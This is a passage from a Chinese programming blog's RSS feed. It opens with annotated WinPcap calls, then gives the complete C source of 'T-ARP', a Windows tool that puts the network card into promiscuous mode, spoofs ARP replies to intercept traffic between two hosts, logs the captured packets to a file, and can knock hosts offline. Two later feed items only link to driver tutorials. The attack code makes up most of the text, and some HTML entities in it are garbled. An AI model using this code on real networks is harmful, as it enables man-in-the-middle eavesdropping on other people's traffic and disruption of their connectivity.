<p>PacketGetNetType(lpadapter,&amp;ntype) //获得网络适配器的MAC类型；</p>
<p>PacketGetNetInfoEx(adapterlist[open-1],&amp;ipbuff,&amp;npflen) //获得指定网络适配器的相关信息；</p>
<p>rthread=CreateThread(NULL,0,sniff,(LPVOID)&amp;opti,0,&amp;threadrid); //创建一个新线程来监听网络数据报；</p>
<p>PacketSetHwFilter(lpadapter,NDIS_PACKET_TYPE_PROMISCUOUS) //将网络适配器设置为混杂模式，这样才可以监听流过本地主机的数据报；<br>PacketSetBuff(lpadapter,500*1024) //自定义网络适配器的内核缓存的大小为 500*1024；</p>
<p>PacketSetReadTimeout(lpadapter,1) //设置接收一个数据报后等待的时间为1毫秒；</p>
<p>PacketReceivePacket(lpadapter,lppacketr,TRUE) //在设置为混杂模式后，接收所有的数据报；</p>
<p>sthread=CreateThread(NULL,0,sendMASR,(LPVOID)&amp;opti,0,&amp;threadsid);<br>sthread=CreateThread(NULL,0,sendSR,(LPVOID)&amp;opti,0,&amp;threadsid); //创建一个新线程发送特定的ARP数据报</p>
<p>PacketSetNumWrites(lpadapter,2) //在发送一个数据报时，重复发送两次；</p>
<p>PacketSendPacket(lpadapter,lppackets,TRUE) //发送自定义数据报；<br><br>WaitForSingleObject(sthread,INFINITE); //等待发送ARP数据报的线程结束；</p>
<p>PacketGetStats(lpadapter,&amp;stat) //获得网络适配器的统计信息；</p>
<p><strong><img height=16 src="http://www.vckbase.com/document/image/paragraph.gif" width=14><a id=A5 name=A5></a> 五、T-ARP源代码</strong> </p>
<pre>#include "packet32.h"
#include "ntddndis.h"
#include &lt;stdio.h&gt;
#include &lt;conio.h&gt;
#pragma comment(lib,"ws2_32")
#pragma comment(lib,"packet")
#define ETH_IP       0x0800
#define ETH_ARP      0x0806
#define ARP_REQUEST  0x0001
#define ARP_REPLY    0x0002
#define ARP_HARDWARE 0x0001
#define max_num_adapter  10
#pragma pack(push,1)
typedef struct ethdr
{
unsigned char   eh_dst[6];
unsigned char   eh_src[6];
unsigned short  eh_type;
}ETHDR,*PETHDR;
typedef struct arphdr
{
unsigned short  arp_hdr;
unsigned short  arp_pro;
unsigned char   arp_hln;
unsigned char   arp_pln;
unsigned short  arp_opt;
unsigned char   arp_sha[6];
unsigned long   arp_spa;
unsigned char   arp_tha[6];
unsigned long   arp_tpa;
}ARPHDR,*PARPHDR;
typedef struct iphdr
{
unsigned char  h_lenver;
unsigned char  tos;
unsigned short total_len;
unsigned short ident;
unsigned short frag_and_flags;
unsigned char  ttl;
unsigned char  proto;
unsigned short checksum;
unsigned int   sourceip;
unsigned int   destip;
}IPHDR,*PIPHDR;
#pragma pack(push)
LPADAPTER lpadapter=0;
LPPACKET  lppacketr,lppackets;
ULONG     myip,firstip,secondip;
UCHAR     mmac[6]={0},fmac[6]={0},smac[6]={0};
BOOL      mm=FALSE,fm=FALSE,sm=FALSE;
FILE      *fp;
char      adapterlist[max_num_adapter][1024];
char      msg[50];
int       num=0;
void start()
{
printf("T-ARP --- ARP Tools, by TOo2y(??), 11-9-2002\n");
printf("Homepage: www.safechina.net\n");
printf("E-mail: TOo2y@safechina.net\n");
return ;
}
void usage()
{
printf("\nUsage: T-ARP  [-m|-a|-s|-r]  firstip  secondip  \n\n");
printf("Option:\n");
printf("   -m  mac        Get the mac address from firstip to secondip\n");
printf("   -a  antisniff  Get the sniffing host from firstip to secondip\n");
printf("   -s  spoof      1&gt; Spoof the host between firstip and secondip\n");
printf("       sniff      2&gt; Sniff if firstip == secondip == your own ip\n");
printf("       shock      3&gt; Shock if firstip == secondip != your own ip\n");
printf("   -r  reset      Reset the spoofed host work normally\n\n");
printf("Attention:\n");
printf("    1&gt; You must have installed the winpcap_2.3 or winpcap_3.0_alpha\n");
printf("    2&gt; HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\IPEnableRouter == 0x1\n\n");
return ;
}
int getmine()
{
char   sendbuf[1024];
int    k;
ETHDR  eth;
ARPHDR arp;
for(k=0;k&lt;6;k++)
{
eth.eh_dst[k]=0xff;
eth.eh_src[k]=0x82;
arp.arp_sha[k]=0x82;
arp.arp_tha[k]=0x00;
}
eth.eh_type=htons(ETH_ARP);
arp.arp_hdr=htons(ARP_HARDWARE);
arp.arp_pro=htons(ETH_IP);
arp.arp_hln=6;
arp.arp_pln=4;
arp.arp_opt=htons(ARP_REQUEST);
arp.arp_tpa=htonl(myip);
arp.arp_spa=inet_addr("112.112.112.112");
memset(sendbuf,0,sizeof(sendbuf));
memcpy(sendbuf,&#240;,sizeof(eth));
memcpy(sendbuf+sizeof(eth),&amp;arp,sizeof(arp));
PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));
if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)
{
printf("PacketSendPacket in getmine Error: %d\n",GetLastError());
return -1;
}
return 0;
}
void getdata(LPPACKET lp,int op)
{
ULONG  ulbytesreceived,off,tlen,ulen,ulLines;
ULONG  j,k;
ETHDR  *eth;
ARPHDR *arp;
PIPHDR ip;
char   *buf,*pChar,*pLine,*base;
struct bpf_hdr      *hdr;
struct sockaddr_in  sin;
ulbytesreceived=lp-&gt;ulBytesReceived;
buf=(char *)lp-&gt;Buffer;
off=0;
while(off&lt;ulbytesreceived)
{
if(kbhit())
{
return ;
}
hdr=(struct bpf_hdr *)(buf+off);
off+=hdr-&gt;bh_hdrlen;
pChar=(char *)(buf+off);
base=pChar;
off=Packet_WORDALIGN(off+hdr-&gt;bh_caplen);
eth=(PETHDR)pChar;
arp=(PARPHDR)(pChar+sizeof(ETHDR));
if(eth-&gt;eh_type==htons(ETH_IP))
{
ip=(PIPHDR)(pChar+sizeof(ETHDR));
if(fm &amp;&amp; sm &amp;&amp; (op==3))
{
if((((ip-&gt;sourceip!=htonl(myip)) &amp;&amp; (ip-&gt;destip!=htonl(myip))
&amp;&amp; !strcmp((char *)eth-&gt;eh_dst,(char *)mmac))
&amp;&amp; ((ip-&gt;sourceip==htonl(firstip)) || (ip-&gt;destip==htonl(firstip))
|| (ip-&gt;sourceip==htonl(secondip)) || (ip-&gt;destip==htonl(secondip))))
|| ((firstip==myip) &amp;&amp; (secondip==myip)))
{
memset(msg,0,sizeof(msg));
sin.sin_addr.s_addr=ip-&gt;sourceip;
printf("[IP:]%16s ---&gt; [IP:]",inet_ntoa(sin.sin_addr));
strcpy(msg,inet_ntoa(sin.sin_addr));
strcat(msg+15," ---&gt; ");
sin.sin_addr.s_addr=ip-&gt;destip;
printf("%16s\n",inet_ntoa(sin.sin_addr));
strcat(msg+23,inet_ntoa(sin.sin_addr));
fseek(fp,-2,1);
fwrite("\r\n\r\n\r\n",6,1,fp);
fwrite(msg,38,1,fp);
fwrite("\r\n",2,1,fp);
ulLines=(hdr-&gt;bh_caplen+15)/16;
for(k=0;k&lt;ulLines;k++)
{
pLine=pChar;
printf("%08lx : ",pChar-base);
ulen=tlen;
ulen=(ulen&gt;16) ? 16 : ulen;
tlen-=ulen;
for(j=0;j&lt;ulen;j++)
printf("%02x ",*(BYTE *)pChar++);
if(ulen&lt;16)
printf("%*s",(16-ulen)*3," ");
pChar=pLine;
for(j=0;j&lt;ulen;j++,pChar++)
{
printf("%c",isprint(*pChar)? *pChar : ''.'');
fputc(isprint(*pChar) ? *pChar : ''.'',fp);
}
printf("\n");
}
printf("\n");
fwrite("\r\n",2,1,fp);
}
}
continue;
}
else if((eth-&gt;eh_type==htons(ETH_ARP)) &amp;&amp; (arp-&gt;arp_opt==htons(ARP_REPLY)))
{
sin.sin_addr.s_addr=arp-&gt;arp_spa;
if(sin.sin_addr.s_addr==htonl(myip))
{
memcpy(mmac,eth-&gt;eh_src,6);
if(!mm)
{
printf("\t");
for(k=0;k&lt;5;k++)
printf("%.2x-",eth-&gt;eh_src[k]);
printf("%.2x\n",eth-&gt;eh_src[5]);
switch(op)
{
case 1:
printf("\n[MAC LIST:]");
break;
case 2:
printf("\n[Sniffing Host:]");
break;
default:
break;
}
}
mm=TRUE;
}
if((op==1) || (op==2))
{
printf("\n[IP:] %.16s\t[MAC:] ",inet_ntoa(sin.sin_addr));
for(k=0;k&lt;5;k++)
printf("%.2x-",eth-&gt;eh_src[k]);
printf("%.2x",eth-&gt;eh_src[5]);
}
else if(((op==3) || (op==4)) &amp;&amp; (!fm || !sm))
{
if(arp-&gt;arp_spa==htonl(firstip))
{
memcpy(fmac,eth-&gt;eh_src,6);
fm=TRUE;
}
if(arp-&gt;arp_spa==htonl(secondip))
{
memcpy(smac,eth-&gt;eh_src,6);
sm=TRUE;
}
}
}
}
return ;
}
DWORD WINAPI sniff(LPVOID no)
{
int      option=*(int *)no;
char     recvbuf[1024*250];
if(PacketSetHwFilter(lpadapter,NDIS_PACKET_TYPE_PROMISCUOUS)==FALSE)
{
printf("Warning: Unable to set the adapter to promiscuous mode\n");
}
if(PacketSetBuff(lpadapter,500*1024)==FALSE)
{
printf("PacketSetBuff Error: %d\n",GetLastError());
return -1;
}
if(PacketSetReadTimeout(lpadapter,1)==FALSE)
{
printf("Warning: Unable to set the timeout\n");
}
if((lppacketr=PacketAllocatePacket())==FALSE)
{
printf("PacketAllocatePacket receive Error: %d\n",GetLastError());
return -1;
}
PacketInitPacket(lppacketr,(char *)recvbuf,sizeof(recvbuf));
while(!kbhit())
{
if(PacketReceivePacket(lpadapter,lppacketr,TRUE)==FALSE)
{
return -1;
}
getdata(lppacketr,option);
}
return 0;
}
DWORD WINAPI sendMASR(LPVOID no)
{
int    fun=*(int *)no;
int    k,stimes;
char   sendbuf[1024];
ETHDR  eth;
ARPHDR arp;
if(fun&lt;1 || fun&gt;4)
{
return -1;
}
else
{
for(k=0;k&lt;6;k++)
{
eth.eh_dst[k]=0xff;
arp.arp_tha[k]=0x00;
}
if(fun==2)
eth.eh_dst[5]=0xfe;
}
memcpy(eth.eh_src,mmac,6);
eth.eh_type=htons(ETH_ARP);
arp.arp_hdr=htons(ARP_HARDWARE);
arp.arp_pro=htons(ETH_IP);
arp.arp_hln=6;
arp.arp_pln=4;
arp.arp_opt=htons(ARP_REQUEST);
arp.arp_spa=htonl(myip);
memcpy(arp.arp_sha,mmac,6);
if(fun==1 || fun==2)
stimes=1;
else if(fun==3 || fun==4)
stimes=2;
for(k=0;k&lt;stimes;k++)
{
if(stimes==1)
{
arp.arp_tpa=htonl(firstip+(num++));
}
else if(stimes==2)
{
switch(k)
{
case 0:
arp.arp_tpa=htonl(firstip);
break;
case 1:
arp.arp_tpa=htonl(secondip);
break;
default:
break;
}
}
memset(sendbuf,0,sizeof(sendbuf));
memcpy(sendbuf,&#240;,sizeof(eth));
memcpy(sendbuf+sizeof(eth),&amp;arp,sizeof(arp));
PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));
if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)
{
printf("PacketSendPacket in sendMASR Error: %d\n",GetLastError());
return -1;
}
}
return 0;
}
DWORD WINAPI sendSR(LPVOID no)
{
int     fun=*(int *)no;
int     j,k;
char    sendbuf[1024];
struct  sockaddr_in  fsin,ssin;
BOOL    stimes=FALSE;
ETHDR   eth;
ARPHDR  arp;
fsin.sin_addr.s_addr=htonl(firstip);
ssin.sin_addr.s_addr=htonl(secondip);
eth.eh_type=htons(ETH_ARP);
arp.arp_hdr=htons(ARP_HARDWARE);
arp.arp_pro=htons(ETH_IP);
arp.arp_hln=6;
arp.arp_pln=4;
arp.arp_opt=htons(ARP_REPLY);
if(fun==3)
{
if(mm)
{
if((firstip==myip) &amp;&amp; (secondip==myip))
{
fm=TRUE;
sm=TRUE;
memcpy(fmac,mmac,6);
memcpy(smac,mmac,6);
}
else if(!fm || !sm)
{
printf("\nNot get enough data\n");
return -1;
}
for(j=0;j&lt;2;j++)
{
if(j==0)
{
printf("\nSpoofing %.16s :  ",inet_ntoa(fsin.sin_addr));
printf("%.16s ==&gt; ",inet_ntoa(ssin.sin_addr));
}
else if(j==1)
{
printf("Spoofing %.16s :  ",inet_ntoa(ssin.sin_addr));
printf("%.16s ==&gt; ",inet_ntoa(fsin.sin_addr));
}
for(k=0;k&lt;5;k++)
printf("%.2x-",mmac[k]);
printf("%.2x\n",mmac[5]);
}
printf("\ni will try to snoof ...\n\n");
stimes=TRUE;
}
else
{
printf("\nNot get enough data\n");
return -1;
}
}
else if(fun==4)
{
if(mm)
{
if((firstip==myip) &amp;&amp; (secondip==myip))
{
fm=TRUE;
sm=TRUE;
memcpy(fmac,mmac,6);
memcpy(smac,mmac,6);
}
else if(!fm || !sm)
{
printf("\nNot get enough data\n");
return -1;
}
printf("\nReset %.16s :  ",inet_ntoa(fsin.sin_addr));
printf("%.16s ==&gt; ",inet_ntoa(ssin.sin_addr));
for(k=0;k&lt;5;k++)
printf("%.2x-",smac[k]);
printf("%.2x\n",smac[5]);
printf("Reset %.16s :  ",inet_ntoa(ssin.sin_addr));
printf("%.16s ==&gt; ",inet_ntoa(fsin.sin_addr));
for(k=0;k&lt;5;k++)
printf("%.2x-",fmac[k]);
printf("%.2x\n\n",fmac[5]);
stimes=FALSE;
}
else
{
printf("\nNot get enough data\n");
return -1;
}
}
else
return -1;
do
{
memcpy(eth.eh_dst,fmac,6);
memcpy(arp.arp_tha,fmac,6);
arp.arp_tpa=htonl(firstip);
arp.arp_spa=htonl(secondip);
if(!stimes)
{
memcpy(eth.eh_src,smac,6);
memcpy(arp.arp_sha,smac,6);
}
else
{
memcpy(eth.eh_src,mmac,6);
memcpy(arp.arp_sha,mmac,6);
}
memset(sendbuf,0,sizeof(sendbuf));
memcpy(sendbuf,&#240;,sizeof(eth));
memcpy(sendbuf+sizeof(eth),&amp;arp,sizeof(arp));
PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));
if(PacketSetNumWrites(lpadapter,2)==FALSE)
{
printf("Warning: Unable to send a packet 2 times\n");
}
if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)
{
printf("PacketSendPacket in SendSR Error: %d\n",GetLastError());
return -1;
}
Sleep(1000);
memcpy(eth.eh_dst,smac,6);
memcpy(arp.arp_tha,smac,6);
arp.arp_tpa=htonl(secondip);
arp.arp_spa=htonl(firstip);
if(!stimes)
{
memcpy(eth.eh_src,fmac,6);
memcpy(arp.arp_sha,fmac,6);
}
else
{
memcpy(eth.eh_src,mmac,6);
memcpy(arp.arp_sha,mmac,6);
}
memset(sendbuf,0,sizeof(sendbuf));
memcpy(sendbuf,&#240;,sizeof(eth));
memcpy(sendbuf+sizeof(eth),&amp;arp,sizeof(arp));
PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));
if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)
{
printf("PacketSendPacket int sendSR Error: %d\n",GetLastError());
return -1;
}
Sleep(1000);
}while(stimes);
if(fun==4)
printf("Reset Successfully");
return 0;
}
int main(int argc,char *argv[])
{
HANDLE   sthread,rthread;
WCHAR    adaptername[8192];
WCHAR    *name1,*name2;
ULONG    adapterlength;
DWORD    threadsid,threadrid;
struct   NetType      ntype;
struct   bpf_stat     stat;
struct   sockaddr_in  sin;
struct   npf_if_addr  ipbuff;
int      adapternum=0,opti=0,open,i,total;
long     npflen;
system("cls.exe");
start();
if(argc!=4)
{
usage();
getche();
return -1;
}
else
{
if(!strcmp(argv[1],"-m"))
{
opti=1;
}
else if(!strcmp(argv[1],"-a"))
{
opti=2;
}
else if(!strcmp(argv[1],"-s"))
{
opti=3;
if((fp=fopen("capture.txt","w+"))==NULL)
{
printf("Open capture.txt Error: %d\n");
return -1;
}
else
{
fwrite("T-ARP Captrue Data",20,1,fp);
}
}
else if(!strcmp(argv[1],"-r"))
{
opti=4;
}
else
{
usage();
getche();
return -1;
}
}
firstip=ntohl(inet_addr(argv[2]));
secondip=ntohl(inet_addr(argv[3]));
total=secondip-firstip+1;
printf("\nLibarary Version: %s",PacketGetVersion());
adapterlength=sizeof(adaptername);
if(PacketGetAdapterNames((char *)adaptername,&amp;adapterlength)==FALSE)
{
printf("PacketGetAdapterNames Error: %d\n",GetLastError());
return -1;
}
name1=adaptername;
name2=adaptername;
i=0;
while((*name1!=''\0'') || (*(name1-1)!=''\0''))
{
if(*name1==''\0'')
{
memcpy(adapterlist[i],name2,2*(name1-name2));
name2=name1+1;
i++;
}
name1++;
}
adapternum=i;
printf("\nAdapters Installed:\n");
for(i=0;i&lt;adapternum;i++)
wprintf(L"%d - %s\n",i+1,adapterlist[i]);
do
{
printf("\nSelect the number of the adapter to open: ");
scanf("%d",&amp;open);
if(open&gt;=1 &amp;&amp; open&lt;=adapternum)
break;
}while(open&lt;1 || open&gt;adapternum);
lpadapter=PacketOpenAdapter(adapterlist[open-1]);
if(!lpadapter || (lpadapter-&gt;hFile==INVALID_HANDLE_VALUE))
{
printf("PacketOpenAdapter Error: %d\n",GetLastError());
return -1;
}
if(PacketGetNetType(lpadapter,&amp;ntype))
{
printf("\n\t\t*** Host Information ***\n");
printf("[LinkTpye:]\t%d\t\t",ntype.LinkType);
printf("[LinkSpeed:]\t%d b/s\n",ntype.LinkSpeed);
}
npflen=sizeof(ipbuff);
if(PacketGetNetInfoEx(adapterlist[open-1],&amp;ipbuff,&amp;npflen))
{
sin=*(struct sockaddr_in *)&amp;(ipbuff.Broadcast);
printf("[Broadcast:]\t%.16s\t",inet_ntoa(sin.sin_addr));
sin=*(struct sockaddr_in *)&amp;(ipbuff.SubnetMask);
printf("[SubnetMask:]\t%.16s\n",inet_ntoa(sin.sin_addr));
sin=*(struct sockaddr_in *)&amp;(ipbuff.IPAddress);
printf("[IPAddress:]\t%.16s\t",inet_ntoa(sin.sin_addr));
myip=ntohl(sin.sin_addr.s_addr);
printf("[MACAddress:]");
}
else
{
printf("\nNot get enough data\n");
PacketFreePacket(lppackets);
PacketCloseAdapter(lpadapter);
return -1;
}
if((lppackets=PacketAllocatePacket())==FALSE)
{
printf("PacketAllocatePacket send Error: %d\n",GetLastError());
return -1;
}
rthread=CreateThread(NULL,0,sniff,(LPVOID)&amp;opti,0,&amp;threadrid);
Sleep(300);
if(getmine())
{
PacketFreePacket(lppackets);
PacketFreePacket(lppacketr);
PacketCloseAdapter(lpadapter);
return -1;
}
Sleep(300);
if((opti==1) || (opti==2))
{
for(i=0;i&lt;total;i++)
{
sthread=CreateThread(NULL,0,sendMASR,(LPVOID)&amp;opti,0,&amp;threadsid);
Sleep(30);
}
Sleep(1000);
}
else if((opti==3) || (opti==4))
{
sthread=CreateThread(NULL,0,sendMASR,(LPVOID)&amp;opti,0,&amp;threadsid);
Sleep(300);
CloseHandle(sthread);
sthread=CreateThread(NULL,0,sendSR,(LPVOID)&amp;opti,0,&amp;threadsid);
}
WaitForSingleObject(sthread,INFINITE);
CloseHandle(sthread);
CloseHandle(rthread);
if(PacketGetStats(lpadapter,&amp;stat)==FALSE)
{
printf("Warning: Unable to get the adapter stat\n");
}
else
{
printf("\n\n%d packets received, %d packets lost !\n",stat.bs_recv,stat.bs_drop);
}
PacketFreePacket(lppackets);
PacketFreePacket(lppacketr);
PacketCloseAdapter(lpadapter);
return 0;
}
</pre>
<img src ="http://www.cppblog.com/iniwf/aggbug/79595.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/iniwf/" target="_blank">iniwf</a> 2009-04-11 16:28 <a href="http://www.cppblog.com/iniwf/archive/2009/04/11/79595.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>TDI 过滤驱动开发指南 by 楚狂人</title><link>http://www.cppblog.com/iniwf/archive/2009/04/06/79095.html</link><dc:creator>iniwf</dc:creator><author>iniwf</author><pubDate>Mon, 06 Apr 2009 06:31:00 GMT</pubDate><guid>http://www.cppblog.com/iniwf/archive/2009/04/06/79095.html</guid><wfw:comment>http://www.cppblog.com/iniwf/comments/79095.html</wfw:comment><comments>http://www.cppblog.com/iniwf/archive/2009/04/06/79095.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cppblog.com/iniwf/comments/commentRss/79095.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/iniwf/services/trackbacks/79095.html</trackback:ping><description><![CDATA[<a id=url_1 onclick="return checkUrl(this)" href="http://bbs.driverdevelop.com/job.php?action-download-pid-667973-tid-97782-aid-17624.html" target=_blank><font color=#0070af>http://bbs.driverdevelop.com/job.php?action-download-pid-667973-tid-97782-aid-17624.html</font></a>
<img src ="http://www.cppblog.com/iniwf/aggbug/79095.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/iniwf/" target="_blank">iniwf</a> 2009-04-06 14:31 <a href="http://www.cppblog.com/iniwf/archive/2009/04/06/79095.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Windows文件过滤驱动开发教程（第二版）电子书</title><link>http://www.cppblog.com/iniwf/archive/2009/04/06/79090.html</link><dc:creator>iniwf</dc:creator><author>iniwf</author><pubDate>Mon, 06 Apr 2009 05:38:00 GMT</pubDate><guid>http://www.cppblog.com/iniwf/archive/2009/04/06/79090.html</guid><wfw:comment>http://www.cppblog.com/iniwf/comments/79090.html</wfw:comment><comments>http://www.cppblog.com/iniwf/archive/2009/04/06/79090.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/iniwf/comments/commentRss/79090.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/iniwf/services/trackbacks/79090.html</trackback:ping><description><![CDATA[转自<a href="http://bbs.driverdevelop.com/htm_data/39/0701/97921.html">http://bbs.driverdevelop.com/htm_data/39/0701/97921.html</a><br><br>
<table style="BORDER-TOP-WIDTH: 0px; TABLE-LAYOUT: fixed" cellSpacing=0 cellPadding=0 width="100%">
    <tbody>
        <tr class=tr1>
            <th class=r_one id=td_tpc style="BORDER-TOP-WIDTH: 0px; PADDING-RIGHT: 0px; PADDING-LEFT: 0px; BORDER-LEFT-WIDTH: 0px; BORDER-BOTTOM-WIDTH: 0px; PADDING-BOTTOM: 0px; OVERFLOW: hidden; PADDING-TOP: 0px; BORDER-RIGHT-WIDTH: 0px" vAlign=top height="100%">
            <div class=tpc_content>
            <div class=f14 id=read_tpc>Windows文件过滤驱动开发教程电子书免费下载，作者为上海楚狂人， <br>比以前的版本，修改如下： <br>1.重写了大部分章节。 <br>2.绝大部分改用了微软风格的代码。 <br>3.修改了一些以前书中错误的地方。 <br>4.增加了一些常用的如路径过滤，防止重入等主题。 <br><br><span style="COLOR: #ff0000">附注：写此书时，本人也是驱动初学者。所以有不少错漏。请千万不要把书中内容当作当然正确。只有自己亲自调试，才能写出可靠的代码。有感于常常收到初学者的邮件，由于本书的错误而导致了困扰。本人深感歉意的同时，增加本提醒。发现错误或者有疑问请发送到我的邮箱，我会争取在下一个版本继续修正。</span> <br><br>勘误： <br>(1) <br>本书中曾说，win2000上使用IoCreateFileSpecifyDeviceObjectHint的必要条件是安装SP4,感谢网友独上高楼指出，SP4并不带有IoCreateFileSpecifyDeviceObjectHint这个函数。应该安装的是一个sp4发布后的一个补丁集合，编号是KB891861-v2。 <br>(2) <br>在&#8220;如何实现路径过滤&#8221;一节中，有： <br>1.&nbsp; &nbsp; SfCreate中，获得FileObject的文件路径(用前面的方法)，并把FileObject指针和路径的对应关系，保存在一个Map中。 <br>2.&nbsp; &nbsp; 在任何时候都可以在表中查询一个FileObject对应的路径.不必担心重入和中断级等等问题。 <br>3.&nbsp; &nbsp; 在SfCleanUp中删去该FileObject对应的节点。 <br>其中3是错误的。应该是在SfClose中删去FileObject才正确。此时FileObject正式消亡。而CleanUp仅仅意味着所有句柄被关闭。<br><br><br><font color=gray>[ 此贴被XiangXiangRen在2007-11-28 16:55重新编辑 ]</font></div>
            </div>
            </th>
        </tr>
        <tr class="tr1 r_one">
            <th style="BORDER-TOP-WIDTH: 0px; PADDING-RIGHT: 0px; PADDING-LEFT: 0px; BORDER-LEFT-WIDTH: 0px; BORDER-BOTTOM-WIDTH: 0px; PADDING-BOTTOM: 0px; VERTICAL-ALIGN: bottom; PADDING-TOP: 0px; BORDER-RIGHT-WIDTH: 0px">
            <div class=tipad id=att_17901 style="MARGIN: 5px">描述：Windows文件系统过滤驱动开发教程(第二版)<br>附件： <img src="http://bbs.driverdevelop.com/images/wind/file/zip.gif" align=absMiddle> <a id=fg_ href="http://bbs.driverdevelop.com/job.php?action=download&amp;pid=tpc&amp;tid=97921&amp;aid=17901" target=_blank><font color=red>Windows文件系统过滤驱动开发教程(第二版).pdf</font></a> (530 K) 下载次数:6015 </div>
            </th>
        </tr>
    </tbody>
</table>
<img src ="http://www.cppblog.com/iniwf/aggbug/79090.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/iniwf/" target="_blank">iniwf</a> 2009-04-06 13:38 <a href="http://www.cppblog.com/iniwf/archive/2009/04/06/79090.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>